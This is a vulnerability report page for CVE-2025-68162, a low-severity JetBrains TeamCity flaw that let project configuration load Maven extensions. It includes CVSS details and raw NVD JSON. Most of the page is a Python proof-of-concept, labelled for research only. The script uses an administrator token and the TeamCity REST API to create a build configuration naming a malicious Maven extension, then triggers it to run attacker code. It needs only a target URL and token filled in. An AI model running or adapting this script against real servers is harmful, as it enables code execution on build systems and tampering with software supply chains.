Security Vulnerability Report
中文
CVE-2025-68162 CVSS 2.7 LOW

CVE-2025-68162

Published: 2025-12-16 16:16:06
Last Modified: 2025-12-18 19:24:08

Description

In JetBrains TeamCity before 2025.11 maven embedder allowed loading extensions via project configuration

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:* - VULNERABLE
JetBrains TeamCity < 2025.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68162 PoC - JetBrains TeamCity Maven Extension Loading # This PoC demonstrates how a privileged user can load arbitrary Maven extensions import requests import json # Configuration TEAMCITY_URL = "http://target-teamcity-server:8111" AUTH_TOKEN = "your-authentication-token" PROJECT_ID = "project_id_to_exploit" def create_malicious_build_config(): """ Create a build configuration that loads a malicious Maven extension """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } # Malicious Maven extension coordinates malicious_extension = { "name": "MaliciousMavenPlugin", "groupId": "com.malicious", "artifactId": "malicious-plugin", "version": "1.0.0" } # Build configuration with malicious Maven extension build_config = { "id": "malicious_build", "name": "Malicious Build Configuration", "projectId": PROJECT_ID, "steps": [ { "id": "maven_build", "name": "Maven Build", "type": "maven", "properties": { "goals": "clean install", "mavenExtensions": json.dumps([malicious_extension]) } } ] } # Create the build configuration via TeamCity REST API response = requests.post( f"{TEAMCITY_URL}/app/rest/buildTypes", headers=headers, json=build_config ) if response.status_code == 200: print("[+] Malicious build configuration created successfully") return response.json().get("id") else: print(f"[-] Failed to create build configuration: {response.text}") return None def trigger_build(build_type_id): """ Trigger the malicious build to execute the extension """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}" } response = requests.post( f"{TEAMCITY_URL}/app/rest/builds", headers=headers, params={"buildType": build_type_id} ) if response.status_code == 200: print("[+] Malicious build triggered - Maven extension will be loaded") print("[+] Attacker can now execute arbitrary code through the malicious extension") else: print(f"[-] Failed to trigger build: {response.text}") if __name__ == "__main__": print("CVE-2025-68162 PoC - TeamCity Maven Extension Loading") print("=" * 50) # Step 1: Create malicious build configuration build_id = create_malicious_build_config() if build_id: # Step 2: Trigger the build to execute malicious extension trigger_build(build_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68162", "sourceIdentifier": "[email protected]", "published": "2025-12-16T16:16:05.763", "lastModified": "2025-12-18T19:24:08.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains TeamCity before 2025.11 maven embedder allowed loading extensions via project configuration"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.11", "matchCriteriaId": "D80D5E22-CFD6-4363-948C-9473EFCE21A5"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}